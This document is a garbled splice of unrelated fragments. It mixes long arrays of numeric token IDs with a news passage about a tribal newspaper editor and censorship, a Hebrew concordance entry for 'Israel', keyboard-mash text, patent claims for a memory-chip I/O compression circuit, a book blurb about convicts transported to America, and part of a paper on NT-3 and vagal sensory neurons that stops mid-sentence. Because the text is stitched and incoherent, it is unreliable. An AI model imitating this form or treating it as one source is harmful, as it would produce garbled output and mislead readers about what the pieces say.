5543, 7394, 323, 427, 5543, 272, 253, 12453, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 271, 28483, 2625, 273, 253, 19477, 2625, 407, 247, 806, 275, 20043, 28, 187, 187, 66, 2626, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 253, 1071, 4438, 3923, 28, 285, 187, 187, 66, 1273, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 2626, 427, 5543, 7394, 285, 3453, 1076, 253, 19477, 2625, 15, 187, 187, 22, 15, 380, 5049, 2556, 281, 1750, 374, 13, 10646, 253, 19477, 4438, 2625, 11365, 3943, 2007, 12093, 247, 9317, 5049, 12956, 281, 40452, 13398, 253, 1071, 4438, 3923, 285, 253, 12453, 285, 281, 6635, 253, 19477, 4438, 2625, 15, 187, 187, 23, 15, 380, 5049, 2556, 281, 1750, 608, 13, 10646, 253, 9317, 5049, 12093, 27, 187, 187, 66, 806, 427, 5543, 7394, 323, 427, 5543, 272, 271, 28483, 2625, 273, 253, 954, 1534, 2953, 2190, 253, 12453, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 271, 28483, 2625, 273, 253, 19477, 4438, 2625, 407, 247, 806, 275, 20043, 28, 187, 187, 66, 2626, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 253, 1071, 4438, 3923, 28, 285, 187, 187, 66, 1273, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 2626, 427, 5543, 7394, 285, 3453, 1076, 253, 19477, 4438, 2625, 15, 187, 187, 24, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 4438, 29810, 12093, 27, 187, 187, 7053, 285, 1273, 275, 332, 1336, 323, 32627, 275, 31324, 253, 19477, 4438, 2625, 28, 187, 187, 19016, 285, 7002, 275, 332, 1336, 323, 32627, 275, 31324, 253, 19477, 2625, 28, 187, 187, 66, 806, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 806, 275, 20043, 285, 253, 3453, 2625, 432, 253, 7002, 275, 20043, 28, 187, 187, 66, 10720, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 806, 427, 5543, 7394, 285, 3453, 1076, 253, 1072, 19477, 2625, 28, 187, 187, 66, 1273, 427, 5543, 7394, 323, 427, 5543, 272, 253, 3453, 2625, 432, 253, 1273, 275, 20043, 285, 253, 3453, 2625, 432, 253, 7002, 275, 20043, 28, 285, 187, 187, 66, 15515, 275, 20043, 323, 275, 31324, 253, 3453, 2625, 432, 253, 1273, 427, 5543, 7394, 285, 3453, 1076, 253, 1027, 19477, 2625, 15, 187, 187, 25, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 3280, 3943, 12093, 247, 3630, 33168, 12956, 281, 13185, 253, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 275, 253, 2622, 4438, 13, 281, 13185, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 512, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 13, 285, 281, 30332, 253, 1071, 941, 3960, 1523, 281, 253, 9701, 941, 6322, 3104, 275, 253, 1273, 941, 19477, 4438, 15, 187, 187, 26, 15, 380, 5049, 2556, 281, 1750, 854, 13, 10646, 253, 3630, 33168, 12093, 27, 187, 187, 66, 11234, 273, 2622, 6322, 5085, 12956, 281, 13185, 253, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 941, 6322, 3104, 2556, 281, 253, 19477, 2625, 275, 253, 2622, 4438, 28, 187, 187, 66, 11234, 273, 1072, 19477, 6322, 5085, 12956, 281, 13185, 253, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 253, 2644, 941, 6322, 3104, 2556, 281, 253, 1072, 19477, 2625, 275, 253, 806, 19477, 4438, 28, 285, 187, 187, 66, 11234, 273, 1027, 19477, 6322, 5085, 12956, 281, 3960, 1523, 30332, 253, 1071, 941, 3280, 8659, 3066, 253, 309, 16, 48, 941, 23854, 281, 13185, 1027, 941, 281, 253, 9701, 941, 6322, 3104, 2556, 281, 253, 1027, 19477, 2625, 275, 253, 1273, 19477, 4438, 15, 187, 187, 740, 15, 380, 5049, 2556, 281, 1750, 337, 13, 10646, 253, 3453, 3943, 12093, 27, 187, 187, 266, 3453, 6276, 3943, 12956, 281, 4446, 253, 941, 12573, 949, 253, 941, 6322, 3104, 13, 285, 281, 3453, 253, 941, 281, 253, 309, 16, 48, 941, 23854, 275, 253, 2622, 4438, 28, 285, 187, 187, 66, 1239, 33168, 12956, 281, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 275, 253, 806, 19477, 4438, 285, 281, 294, 14, 249, 1748, 28483, 941, 2190, 253, 941, 12573, 949, 253, 941, 6322, 3104, 285, 1071, 253, 941, 275, 253, 1273, 19477, 4438, 15, 187, 187, 883, 15, 380, 5049, 2556, 281, 1750, 884, 13, 10646, 253, 1239, 33168, 12093, 27, 187, 187, 66, 1072, 941, 1071, 3943, 12956, 281, 1071, 253, 941, 12573, 949, 253, 941, 6322, 3104, 2556, 281, 253, 1072, 19477, 2625 ]	to know everything about their government, good and bad, she said.“Despite all the attempts at control, I continued to work without fear and always kept the people in mind. Although, I knew the censorship issue would resurface once we published something the executive branch alone did not like,” Attocknie said. “I have no reason to hang my head down. No one was able to compromise my ethics and I left with my integrity intact. If I allowed the administration to censor the paper I would not be able to look at myself or look at the tribal members knowing their newspaper was filtered. I would no longer be a journalist, but merely a tool.”Rosemary Stephens, who was the newspaper’s reporter and graphic artist, is now the editor.title title number - 3478orig_word - יִשְׂרָאֵלword_orig - from (08280) and (0410)translit - Yisra'eltdnt - Nonephonetic - yis-raw-ale'part_of_speech - Proper Name Masculinest_def - from «08280» and «0410»; he will rule as God; Jisrael, a symbolical name of Jacob; also (typically) of his posterity: --Israel.IPD_def - Israel = "God prevails" the second name for Jacob given to him by God after his wrestling with the angel at Peniel the name of the descendants and the nation of the descendants of Jacob the name of the nation until the death of Solomon and the split the name used and given to the northern kingdom consisting of the 10 tribes under Jeroboam; the southern kingdom was known as Judah the name of the nation after the return from exile English - letter - ydata - {"def":{"lit":"God prevails","short":"he will rule as God; Jisraël, a symbolical name of Jacob; also (typically) of his posterity","long":["the second name for Jacob given to him by God after his wrestling with the angel at Peniel","the name of the descendants and the nation of the descendants of Jacob",["the name of the nation until the death of Solomon and the split","the name used and given to the northern kingdom consisting of the 10 tribes under Jeroboam; the southern kingdom was known as Judah","the name of the nation after the return from exile"]]},"deriv":"from H8280 and H0410","pronun":{"ipa":"jɪɬ.rɔːˈʔel","ipa_mod":"jis.ʁɑːˈʔel","sbl":"yiśrāʾēl","dic":"yis-raw-ALE","dic_mod":"yees-ra-ALE"}}usages - Israell;opmjngiareignopgioarg whoa that looks really really phenomenal! Really love the shades of purple and the scenery is outstanding!!!!!! Ahhh, also adore Freedon's are a lotAn I/O compression circuit for a semiconductor memory device operates in a same data compress mode to transmit identical data to all compressed data buses and a different data compress mode to transmit different data to adjacent compressed data buses....http://www.google.com/patents/US6934895?utm_source=gb-gplus-sharePatent US6934895 - I/O compression circuit for a semiconductor memory device An I/O compression circuit for a semiconductor memory device operates in a same data compress mode to transmit identical data to all compressed data buses and a different data compress mode to transmit different data to adjacent compressed data buses. a command decoder adapted to combine external control signals and output a test mode command; a test mode control unit adapted to generate a compress signal for controlling a compress operation and a compress mode signal for distinguishing a first compress mode in which identical data are transmitted to data transmission lines from second compress mode in which different data are transmitted to adjacent data transmission lines according to the test mode command and addresses; a mode decoder adapted to decode the compress signal and the compress mode signal and to output a same compress signal for controlling the compress operation in a first compress mode and a different compress signal for controlling the compress operation in the second data compress mode; an input unit adapted to decode input data input inputted via I/O data pins, transmit the input data to data transmission lines in a normal mode, transmit the same data inputted via the I/O data pins to the data transmission lines in the first compress mode and alternately invert the input data to transmit different data to the adjacent data transmission lines in the second compress mode based on the compress signal, the same compress signal and the different compress signal; and an output unit adapted to drive the data transmitted through the data transmission lines and output the data to the I/O data pins in the normal mode, test the data transmitted through the data transmission lines in the first compress mode according to the compress signal and the compress mode signal, and re-invert the inverted data among the data transmitted through the data transmission lines, and test the data in the second compress mode. 2. The circuit according to claim 1, wherein the test mode control unit comprises: a compress signal generating unit adapted to generate the compress signal to control the compress operation according to the test mode command and the addresses; and a compress mode signal generating unit adapted to output the compress mode signal to distinguish the first compress mode from the second compress mode according to the test mode command and the addresses. 3. The circuit according to claim 2, wherein the compress signal generating unit further comprises a logic circuit adapted to logically combine the test mode command and the addresses and to generate the compress signal. 4. The circuit according to claim 3, wherein the logic circuit comprises: a first NAND gate for NANDing the addresses; a second NAND gate for NANDing the output signal from the first NAND gate and an inverted signal of the compress signal by a first inverter; a third NAND gate for NANDing the output signal from the second NAND gate and the test mode command; and a second inverter for inverting the output signal from the third NAND gate and outputting the compress signal. 5. The circuit according to claim 2, wherein the compress mode signal generating unit further comprises a logic circuit adapted to logically combine the test mode command and the addresses and to generate the compress mode signal. 6. The circuit according to claim 5, wherein the logic circuit comprises: a first NAND gate for NANDing an inverted signal of the most significant address among the addresses; a second NAND gate for NANDing the output signal from the first NAND gate and an inverted signal of the compress mode signal by a first inverter; a third NAND gate for NANDing the output signal from the second NAND gate and the test mode command; and a second inverter for inverting the output signal from the third NAND gate and outputting the compress mode signal. 7. The circuit according to claim 1, wherein the mode decoder comprises: first and second inverters for sequentially inverting the compress mode signal; third and fourth inverters for sequentially inverting the compress signal; a first NAND gate for NANDing the output signal from the first inverter and the output signal from the fourth inverter; a fifth inverter for inverting the output signal from the first NAND gate and outputting the same compress signal; a second NAND gate for NANDing the output signal from the second inverter and the output signal from the fourth inverter; and a sixth inverter for inverting the output signal from the second NAND gate and outputting the different compress signal. 8. The circuit according to claim 1, wherein the input unit comprises a write compressor adapted to transmit the data inputted via the I/O data pins to the data transmission lines in the normal mode, to transmit test data inputted via the I/O data pins to all the data transmission lines in the first compress mode, and to invert the test data alternately to the adjacent data transmission lines in the second data compress mode. 9. The circuit according to claim 8, wherein the write compressor comprises: a plurality of normal transmission units adapted to transmit the data inputted via the I/O data pins to the data transmission lines according to the compress signal in the normal mode; a plurality of same compress transmission units adapted to transmit the test data inputted via the I/O data pins to the whole data transmission lines according to the same compress signal in the first compress mode; and a plurality of different compress transmission units adapted to alternately invert the test data inputted via the I/O data pins to transmit different data to the adjacent data transmission lines according to the different compress signal in the second compress mode. 10. The circuit according to claim 1, wherein the output unit comprises: an output driving unit adapted to drive the data transmitted through the data transmission lines, and to output the data to the I/O data pins in the normal mode; and a read compressor adapted to test the data transmitted through the data transmission lines in the first compress mode and to re-invert inverted data among the data transmitted through the data transmission lines and test the data in the second compress mode. 11. The circuit according to claim 10, wherein the read compressor comprises: a same data test unit adapted to test the data transmitted through the data transmission lines according to the same compress signal
[ 6215, 13, 285, 4824, 745, 281, 3968, 13, 4536, 323, 253, 19610, 273, 247, 11019, 1133, 46748, 15, 187, 187, 1276, 4592, 281, 841, 35171, 84, 2378, 597, 7244, 275, 3968, 32, 10348, 597, 20464, 275, 271, 3126, 273, 25470, 5107, 13, 390, 497, 597, 258, 1344, 317, 1025, 407, 253, 643, 6769, 1346, 32, 16358, 657, 11215, 8599, 253, 6281, 273, 253, 38817, 42727, 285, 5702, 25481, 665, 497, 29163, 407, 1146, 2197, 2439, 253, 12927, 281, 789, 327, 4444, 569, 15, 496, 9745, 281, 1495, 436, 14454, 8857, 275, 2448, 2892, 13, 344, 7881, 253, 1039, 359, 1158, 670, 13163, 281, 2393, 3968, 15, 187, 187, 510, 1984, 671, 3797, 271, 30762, 342, 9371, 12192, 323, 37676, 2060, 35171, 84, 665, 497, 20870, 281, 3968, 15, 187, 187, 19, 28623, 187, 187, 4374, 15, 12526, 13, 954, 273, 253, 5861, 273, 2060, 35171, 84, 665, 497, 20870, 28932, 275, 5854, 285, 417, 275, 3968, 15, 1723, 13, 1142, 273, 841, 10894, 452, 644, 18133, 285, 3863, 13, 954, 19836, 407, 7993, 10520, 20754, 3964, 15, 20754, 3964, 457, 84, 380, 4377, 457, 84, 11271, 12449, 281, 15812, 285, 9385, 10894, 35171, 84, 20870, 281, 841, 767, 19665, 407, 673, 285, 6215, 15, 3032, 3437, 14, 34940, 13, 380, 25426, 7225, 273, 4825, 304, 9231, 13, 12036, 24, 14, 1166, 3121, 13, 310, 625, 11088, 285, 671, 10894, 26234, 1520, 20325, 15, 1422, 476, 671, 1611, 380, 31298, 273, 253, 8937, 27738, 285, 2701, 634, 3186, 281, 26593, 347, 247, 14232, 281, 1089, 253, 7587, 273, 35171, 84, 665, 497, 20870, 432, 4693, 285, 253, 8704, 2170, 15, 187, 187, 6300, 34723, 27, 15643, 2448, 13602, 10529, 187, 187, 10572, 253, 2488, 187, 187, 50047, 657, 11215, 556, 3862, 15040, 275, 253, 2675, 285, 8928, 2892, 273, 6617, 285, 14232, 285, 310, 253, 2488, 273, 253, 10550, 15, 681, 1682, 23708, 5098, 13, 38635, 342, 271, 17826, 37239, 285, 15643, 2448, 13602, 10529, 15, 754, 6556, 247, 1777, 15, 37, 15, 432, 253, 2418, 2499, 273, 1457, 2816, 387, 659, 2421, 11989, 285, 271, 353, 15, 45, 15, 52, 15, 432, 33538, 7276, 2499, 15, 754, 556, 1620, 5262, 247, 2360, 275, 12907, 13, 533, 344, 369, 2378, 39380, 10145, 273, 439, 4488, 12545, 15, 187, 21056, 3189, 15, 187, 187, 22032, 831, 25729, 187, 187, 3074, 21754, 1160, 407, 1469, 949, 253, 4859, 327, 436, 4422, 1361, 281, 1978, 352, 3515, 283, 20094, 368, 4489, 253, 3580, 5742, 7117, 390, 1089, 1633, 2010, 368, 651, 2581, 7471, 15, 367, 5395, 403, 4555, 253, 1072, 347, 604, 368, 2427, 3587, 281, 253, 6264, 4422, 15, 60, 570, 1822, 85, 3838, 249, 14, 20, 313, 2649, 14, 20, 10, 310, 247, 12004, 17318, 94, 3558, 273, 253, 21744, 6551, 85, 3838, 249, 2021, 273, 27668, 4324, 15, 380, 1029, 14, 47854, 6437, 323, 20483, 14, 20, 310, 253, 6437, 25367, 11725, 330, 13, 492, 76, 36, 2479, 35, 3583, 6660, 3738, 20483, 14, 20, 476, 671, 17561, 492, 76, 34, 390, 492, 42574, 2479, 35, 1047, 1092, 1008, 35, 1229, 2498, 9157, 13, 268, 1976, 476, 320, 10939, 10564, 407, 1016, 6551, 85, 3838, 249, 13, 285, 352, 778, 7832, 342, 667, 581, 273, 253, 6551, 85, 3838, 249, 492, 76, 10185, 281, 28641, 2173, 6551, 85, 3838, 249, 6128, 2479, 35, 740, 2498, 20483, 14, 20, 8525, 253, 2440, 273, 247, 4618, 2491, 273, 10844, 17872, 2718, 15, 1198, 1650, 13, 20483, 14, 20, 14384, 310, 2330, 342, 253, 5928, 273, 26618, 49066, 84, 326, 12893, 432, 253, 22377, 10821, 38374, 13, 285, 1260, 29392, 41593, 49066, 84, 326, 12893, 432, 253, 22285, 5230, 49237, 313, 4976, 40, 481, 2053, 2486, 14045, 80, 31898, 49066, 84, 285, 616, 10844, 3282, 15384, 313, 14557, 2148, 653, 527, 868, 13, 49308, 33618, 15384, 582, 399, 14, 41754, 49066, 2543, 410, 37555, 13, 285, 7808, 42174, 36476, 2543, 410, 37555, 285, 616, 2330, 44669, 1341, 13, 534, 403, 3663, 1501, 25781, 595, 2479, 35, 1630, 1092, 1008, 35, 1717, 1092, 1008, 35, 1867, 1092, 1008, 35, 3357, 2498, 380, 2957, 273, 841, 1260, 29392, 41593, 9130, 13, 275, 1798, 1110, 15979, 281, 14045, 80, 2409, 13, 403, 1869, 281, 8162, 281, 253, 10969, 11438, 285, 10183, 12422, 2540, 275, 475, 6369, 14, 20, 11, 26738, 313, 19395, 10, 3754, 13, 534, 3150, 407, 495, 47178, 273, 2363, 15, 5220, 13, 7898, 20483, 14, 20, 2957, 313, 249, 49846, 4787, 13, 559, 15304, 10, 1543, 275, 7898, 2957, 273, 399, 14, 41754, 49066, 84, 285, 7808, 42174, 2543, 410, 37555, 13, 533, 1110, 326, 11883, 452, 2622, 1159, 2479, 35, 18, 2498, 496, 4499, 13, 36476, 19911, 273, 20483, 14, 20, 5644, 281, 2559, 4470, 21752, 273, 5181, 2328, 265, 285, 4707, 44535, 13, 1690, 2559, 1180, 273, 1097, 44669, 1341, 285, 253, 10710, 40, 23586, 894, 8248, 432, 534, 841, 49066, 84, 35282, 2479, 35, 19, 2498, 187, 187, 6369, 14, 20, 13, 8534, 275, 629, 949, 5743, 273, 253, 6437, 492, 76, 36, 13, 310, 5667, 323, 253, 5788, 273, 247, 1781, 8394, 273, 12531, 267, 17872, 8512, 27, 475, 6369, 14, 20, 11, 285, 475, 1206, 76, 36, 11, 36152, 15396, 452, 5910, 283, 2504, 6, 285, 1638, 6, 2957, 273, 8512, 432, 253, 6913, 583, 14, 8337, 2921, 267, 10821, 38374, 2570, 13, 2975, 2479, 35, 1630, 1092, 1008, 35, 1717, 1092, 1008, 35, 3680, 1092, 1008, 35, 2759, 2498, 4129, 253, 2120, 2491, 273, 10844, 8571, 273, 841, 20483, 14, 20, 14, 6820, 12531, 267, 17872, 8512, 4558, 7202, 13, 12531, 267, 49066, 84, 326, 4470, 677, 366, 253, 1578, 40345, 3176, 281, 320, 2190, 731, 15, 496, 1798, 13, 4996, 356, 606, 77, 17135, 31936, 274, 12365, 313, 2431, 1843, 4587, 881, 12531, 267, 2543, 410, 37555, 326, 2063, 297, 4024, 275, 253, 34728, 6616, 3402, 403, 3777, 407, 7251, 285, 3387, 6, 275, 475, 6369, 14, 20, 11, 285, 475, 1206, 76, 36, 11, 37754, 15396, 13, 2975, 2479, 35, 3677, 2498, 187, 187, 510, 1329, 273, 12531, 267, 17872, 23586, 5788, 407, 20483, 14, 20, 812, 320, 14946, 407, 697, 2048, 275, 253, 6684, 6913, 583, 10821, 38374, 2479, 35, 1619, 6660, 253, 3998, 8424, 8571, 273, 6913, 583, 49066, 84, 13, 390, 407, 20483, 14, 20, 1246, 275, 24022, 285, 2393, 38047, 22496, 313, 23802, 10, 10649, 7944, 4470, 677, 456, 407, 12531, 267, 17872, 8512, 15, 20483, 14, 20, 2048, 275, 253, 5020, 273, 6684, 27552, 15384, 310, 8127, 11096, 281, 6032, 6616, 1341, 11616, 253, 8346, 8090, 273, 253, 6684, 12607, 13, 260, 886, 360, 13, 1355, 285, 1781, 540, 383, 1100, 13, 285, 253, 8099, 273, 2614, 12671, 326, 6186, 253, 27552, 10649, 2479, 35, 1610, 1092, 1008, 35, 1812, 2498, 1723, 13, 1016, 1963, 15646, 247, 4451, 2048, 3102, 15, 2053, 6127, 9184, 275, 2426, 273, 534, 6616, 3828, 12322, 20483, 14, 20, 2048, 13, 1880, 667, 3081, 7944, 12322, 2048, 13, 285, 253, 11935, 3102, 273, 2048, 15, 1198, 1650, 13, 20483, 14, 20, 310, 4469, 275, 253, 6684, 16519, 1758, 14045, 66, 275, 253, 271, 1206, 360, 285, 20689, 273, 253, 12607, 13, 533, 417, 275, 253, 16519, 1758, 14045, 66, 273, 253, 9741, 297, 607, 390, 540, 383, 1100, 15, 5220, 13, 20483, 14, 20, 2048, 6634, 387, 1029, 2308, 275, 27552, 6191, 15152, 28705, 313, 85, 15697, 3828, 432, 534, 27552, 6032, 6616, 310, 6012, 10, 407, 24022, 1388, 313, 38, 10, 805, 15, 496, 4499, 13, 20483, 14, 20, 2048, 275, 11172, 6032, 6616, 310, 806, 2540, 387, 444, 1010, 387, 1698, 2308, 326, 2559, 13237, 342, 2363, 15, 32384, 342, 247, 1896, 7680, 273, 27552, 20483, 14, 20, 281, 7248, 273, 12531, 267, 49066, 2440, 13, 1097, 492, 76, 36, 285, 492, 42574, 403, 4469, 407, 6913, 583, 10821, 38374, 8512, 432, 444, 1012, 281, 444, 1093, 2479, 35, 1619, 1092, 1008, 35, 2385, 1092, 1008, 35, 2537, 2498, 5488, 13, 12531, 267, 4470, 21752, 273, 253, 11479, 9513, 6684, 689, 253, 1072, 673, 6301, 347, 2048, 273, 6551, 85, 3838, 968, 285, 616, 10185, 15, 1198, 1650, 13, 6684, 12531, 267, 41382, 3135, 281, 41614, 253, 5170, 27552, 10649, 387, 444, 805, 13, 285, 12531, 267, 2543, 410, 37555, 3135, 281, 830, 275, 253, 6032, 6616, 3402, 387, 444, 1036, 2479, 35, 2082, 2498, 187, 187, 688, 1635, 281, 253, 1896, 7680, 273, 24022, 285, 2393, 38047, 27552, 20483, 14, 20, 2048, 281, 12531, 267, 17872, 23586, 5788, 13, 436, 2603, 273, 20483, 14, 20, 812, 452, 643, 2538, 327, 2440, 273, 12531, 267, 49066, 84, 15, 14117, 5231, 273, 20483, 14, 20, 452, 644, 7943, 275, 253, 17872, 285, 24152, 11219, 2718, 13, 1690, 9503, 275, 16069, 9827, 2479, 35, 1731, 6660, 43821, 3116, 2479, 35, 3156, 1092, 1008, 35, 2691, 6660, 285, 11083, 8351, 4702, 13, 1690, 8351, 1979, 285, 2605, 2479, 35, 3208, 1092, 1008, 35, 2597, 6660, 4248, 273, 3057, 273, 11083, 20737, 342, 616, 33402, 1341, 13, 285, 5788, 273, 616, 33402, 1341, 2479, 35, 19, 2498, 187, 187, 15545, 327, 253, 2538, 273, 475, 6369, 14, 20, 11, 25934, 327, 12531, 267, 17872, 23586, 5788, 285, 643, 7794, 273, 2440, 273, 17872, 285, 45852, 2718, 2529, 1840, 13, 359, 8131, 326, 253, 2173, 2957, 273, 20483, 14, 20, 432, 27552, 6032, 6616, 651, 13201, 2440, 273, 12531, 267, 17872, 4470, 21752, 273, 253, 27552, 10649, 285, 17912, 4796, 12531, 267, 7601, 281, 253, 3998, 15, 1916, 7409, 436, 9079, 13, 3754, 342, 3777, 20483, 14, 20, 2308, 275, 27552, 6032, 6616, 497, 4561, 970, 247, 17697, 3320, 12262, 5700, 13, 285, 12531, 267, 7601, 432, 11479, 281, 3998, 275, 841, 3754, 369, 7515, 407, 2677, 5411, 11484, 14, 6367, 5743, 273, 8512, 275, 253, 22285, 12531, 267, 2570, 313, 37, 12548, 10, 285, 2677, 5411, 4623, 11484, 3102, 285, 2494, 18317, 3602, 15, 187, 187, 15090, 31164, 52, 4889, 49044, 1712, 1704, 18, 94, 187, 18613, 187, 187, 1145, 21185, 1712, 1704, 18, 14, 18, 94, 187, 6846, 187, 187, 4118, 29301, 15, 1712, 1704, 18, 14, 18, 14, 18, 94, 187, 187, 11, 6955, 1423, 2141, 21237, 719, 8769, 905, 7676, 15, 1008, 35, 2950, 2194, 671, 6289, 281, 347, 475, 3675, 11500, 249, 21237, 719, 8769, 28, 42784, 9672, 12547, 6677, 14, 719, 5627, 18, 10759, 16, 43, 28, 5798, 15, 642, 15, 7449, 2504, 2950, 13, 500, 14942, 31497, 13, 4033, 28670, 13, 10616, 5290, 475, 6369, 14, 20, 21237, 40612, 23615, 8769, 313, 7676, 15, 1008, 35, 2227, 2194, 2797, 432, 418, 2610, 42413, 274, 25908, 582, 475, 6369, 14, 20, 21237, 34554, 77, 1004, 8769, 313, 7676, 15, 1008, 35, 21, 2194, 2797, 432, 3262, 18225, 29531, 582, 285, 475, 6369, 14, 20, 21237, 34554, 77, 1004, 14, 42184, 59, 8769, 313, 25598, 2708, 10, 3754, 497, 8838, 387, 3495, 3272, 36, 327, 247, 1249, 27, 805, 14, 73, 313, 1047, 27, 740, 288, 323, 19050, 10, 1708, 14, 19001, 10130, 13, 10654, 327, 387, 470, 5388, 13, 342, 519, 5135, 47599, 2289, 281, 13341, 1824, 285, 18196, 11064, 290, 23845, 608, 2874, 313, 49, 6402, 32212, 5625, 13, 659, 15, 7406, 13, 14789, 481, 1876, 7259, 497, 5196, 275, 8956, 342, 253, 475, 13652, 41, 16398, 323, 253, 9776, 285, 7890, 273, 18196, 29301, 11, 313, 25, 394, 1407, 904, 380, 3313, 27878, 5687, 13, 5041, 13, 9087, 10, 285, 2448, 7115, 323, 8874, 48001, 273, 18196, 18630, 9776, 9600, 285, 497, 7012, 407, 253, 367, 11180, 489, 2499, 18630, 9776, 285, 7890, 7039, 15, 187, 187, 4118, 416, 1050, 70, 323, 897, 273, 9947, 1423, 2141, 63, 719, 63, 3754, 281, 2303, 20483, 14, 20, 25934, 281, 6032, 6616, 15, 1712, 1704, 18, 14, 18, 14, 19, 94, 187, 187, 510, 475, 6955, 1423, 2141, 21237, 719, 8769, 6521, 7372, 369, 12845, 984, 352, 16382, 2067, 6866, 2424, 323, 5175, 253, 2554, 273, 27552, 20483, 14, 20, 275, 12531, 267, 49066, 2440, 285, 1159, 13, 347, 2529, 3786, 323, 27552, 3998, 14, 13472, 6551, 85, 16117, 2803, 313, 8561, 8016, 10, 2479, 35, 1706, 2498, 3973, 13, 2048, 273, 13501, 10774, 4805, 511, 275, 475, 6955, 1423, 2141, 21237, 719, 8769, 3754, 310, 8127, 11096, 281, 6032, 6616, 13, 253, 2022, 27552, 4408, 326, 30599, 20483, 14, 20, 2479, 35, 1610, 1092, 1008, 35, 1706, 1092, 1008, 35, 1812 ]	ship, and carried off to America, sometimes for the theft of a mere handkerchief. What happened to these convicts once they arrived in America? Did they prosper in an environment of unlimited opportunity, or were they ostracized by the other colonists? Anthony Vaver tells the stories of the petty thieves and professional criminals who were punished by being sent across the ocean to work on plantations. In bringing to life this forgotten chapter in American history, he challenges the way we think about immigration to early America. The book also includes an appendix with helpful tips for researching individual convicts who were transported to America. 2 Comments Yes. Unfortunately, most of the records of individual convicts who were transported reside in England and not in America. However, many of these lists have been compiled and published, most notably by Peter Wilson Coldham. Coldham’s The King’s Passengers to Maryland and Virginia lists convicts transported to these two colonies by time and ship. His CD-ROM, The Complete Book of Emigrants, 1607-1776, is more comprehensive and also lists indentured servants. You can also try The Proceedings of the Old Bailey and limit your search to Transportation as a punishment to find the trials of convicts who were transported from London and the surrounding area. Just Published: Early American Criminals About the author Anthony Vaver has broad expertise in the social and cultural history of crime and punishment and is the author of the Amazon.com bestselling books, Bound with an Iron Chain and Early American Criminals. He holds a Ph.D. from the State University of New York at Stony Brook and an M.L.S. from Rutgers University. He has never spent a night in jail, but he was once falsely accused of shoplifting. Contact Me. Support This Website All purchases made by going through the links on this website help to keep it running--whether you buy the products specifically listed or find something else you would rather purchase. Prices are exactly the same as if you went directly to the commercial website.[neurotrophin-3 (nt-3) is a]{.smallcaps} member of the mammalian neurotrophin family of secreted proteins. The high-affinity receptor for NT-3 is the receptor tyrosine kinase C, trkC ([@B52]), although NT-3 can also activate trkA or trkB ([@B14], [@B30]). Additionally, p75 can be independently activated by each neurotrophin, and it may partner with any one of the neurotrophin trk receptors to mediate specific neurotrophin responses ([@B10]). NT-3 supports the development of a wide range of peripheral sensory systems. For example, NT-3 deficiency is associated with the absence of auditory afferents that arise from the spiral ganglion, and somatosensory afferents that arise from the dorsal root ganglia (DRG). These include proprioceptive afferents and their peripheral sense organs (muscle spindles, Golgi tendon organs), D-hair afferent mechanoreceptors, and slowly adapting cutaneous mechanoreceptors and their associated Merkel cells, which are lost postnatally ([@B27], [@B29], [@B39], [@B53]). The loss of these somatosensory pathways, in particular those contributing to proprioception, are thought to contribute to the abnormal movements and difficulty feeding observed in NT-3 knockout (KO) mice, which die by 3 wk of age. Also, partial NT-3 loss (in heterozygotes, +/−) results in partial loss of D-hair afferents and slowly adapting mechanoreceptors, but those that survive have normal function ([@B1]). In contrast, cutaneous overexpression of NT-3 leads to increased innervation of touch domes and hair follicles, including increased number of both Merkel cells and the DRG neuron cell bodies from which these afferents originate ([@B2]). NT-3, acting in part through activation of the receptor trkC, is essential for the survival of a large proportion of vagal sensory neurons: NT-3 and trkC homozygous mutants have 34--47% and 14% loss of neurons from the nodose-petrosal ganglion complex, respectively ([@B27], [@B29], [@B58], [@B84]). Although the full range of peripheral targets of these NT-3-dependent vagal sensory neurons remains unknown, vagal afferents that innervate the esophagus appear to be among them. In particular, intraganglionic laminar ending (IGLE)-type vagal mechanoreceptors that predominate in the esophageal muscle wall are reduced by 65 and 40% in NT-3 and trkC heterozygous mutants, respectively ([@B71]). The support of vagal sensory neuron survival by NT-3 could be mediated by its expression in the developing nodose ganglion ([@B28]), the brain stem targets of nodose afferents, or by NT-3 present in embryonic and early postnatal gastrointestinal (GI) tract tissues innervated by vagal sensory neurons. NT-3 expression in the majority of developing GI organs is largely restricted to smooth muscle cells comprising the outer layers of the developing stomach, cecum, small and large intestines, and the walls of blood vessels that supply the GI tract ([@B33], [@B36]). However, each organ exhibits a unique expression pattern. These patterns differ in terms of which muscle layer exhibited NT-3 expression, whether any additional tissues exhibited expression, and the temporal pattern of expression. For example, NT-3 is expressed in the developing lamina propria in the antrum and corpus of the stomach, but not in the lamina propria of the forestomach or intestines. Also, NT-3 expression occurs at high levels in GI mesenchyme (tissue layer from which GI smooth muscle is derived) by embryonic day (E)12. In contrast, NT-3 expression in vascular smooth muscle is first observed at E15 at low levels that increased gradually with age. Consistent with a possible contribution of GI NT-3 to regulation of vagal afferent development, both trkC and trkB are expressed by nodose ganglion neurons from E13 to E18 ([@B28], [@B48], [@B49]). Furthermore, vagal innervation of the gut begins developing over the same timeframe as expression of neurotrophins and their receptors. For example, developing vagal axons begin to populate the upper GI tract at E12, and vagal mechanoreceptors begin to form in the smooth muscle wall at E16 ([@B65]). In addition to the possible contribution of embryonic and early postnatal GI NT-3 expression to vagal sensory neuron survival, this source of NT-3 could have other effects on development of vagal 